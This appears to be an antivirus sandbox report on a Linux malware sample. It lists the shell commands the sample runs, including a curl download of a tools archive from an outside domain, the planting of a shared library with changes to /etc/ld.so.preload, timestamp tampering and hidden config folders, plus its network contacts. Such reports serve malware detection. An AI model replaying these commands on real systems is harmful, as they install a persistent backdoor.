Technical Information
Malicious functions:
Performs process tracing:
- <SAMPLE>
Launches processes:
- pgrep -c rcu_manager
- sleep 1
- <0x8b>
- cp -a /root/.cfg/dealer /usr/bin/mslog/.cfg/
- chmod 777 /root/.cfg/rcu_manager
- cp -a /root/.cfg/rcu_manager /usr/bin/mslog/.cfg/
- cp -f /usr/bin/mslog/.cfg/* /root/.cfg/
- mkdir -p /root/.cfg
- <SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
- mv player /usr/bin/
- tar xvf tools.tar
- gzip -d
- cp -a /root/.cfg/tools.tar /usr/bin/mslog/.cfg/
- chmod +x libextrasshd.so player rcu_manager tools.tar
- mv libextrasshd.so /usr/local/lib/
- mkdir -p /usr/bin/mslog/.cfg/
- curl -O vvnnmm.com/d/tools.tar
- rm -rf /usr/bin/mslog/.cfg/pass*
Kills the following processes:
- <SAMPLE>
Performs operations with the file system:
Modifies file access rights:
- /root/.cfg/libextrasshd.so
- /root/.cfg/player
- /root/.cfg/rcu_manager
- /root/.cfg/tools.tar
Modifies file owner:
- /root/.cfg/libextrasshd.so
- /root/.cfg/player
- /root/.cfg/rcu_manager
- /usr/bin/mslog/.cfg/rcu_manager
Creates folders:
- /root/.cfg
- /usr/bin/mslog
- /usr/bin/mslog/.cfg
Creates or modifies files:
- /etc/ld.so.preload
- /etc/resolv.conf
- /root/.cfg/tools.tar
- /root/.cfg/libextrasshd.so
- /root/.cfg/player
- /root/.cfg/rcu_manager
- /usr/bin/mslog/.cfg/rcu_manager
- /usr/bin/mslog/.cfg/tools.tar
Changes time of creation/access/modification of files:
- /root/.cfg/libextrasshd.so
- /root/.cfg/player
- /root/.cfg/rcu_manager
- /usr/bin/mslog/.cfg/rcu_manager
- /usr/bin/mslog/.cfg/tools.tar
Network activity:
Establishes connection:
- 8.#.8.8:53
- 91.##.243.135:80
DNS ASK:
- vv##mm.com
Sends data to the following servers:
- 91.##.243.135:80
Receives data from the following servers:
- 91.##.243.135:80
Other:
Collects OS information
Collects CPU information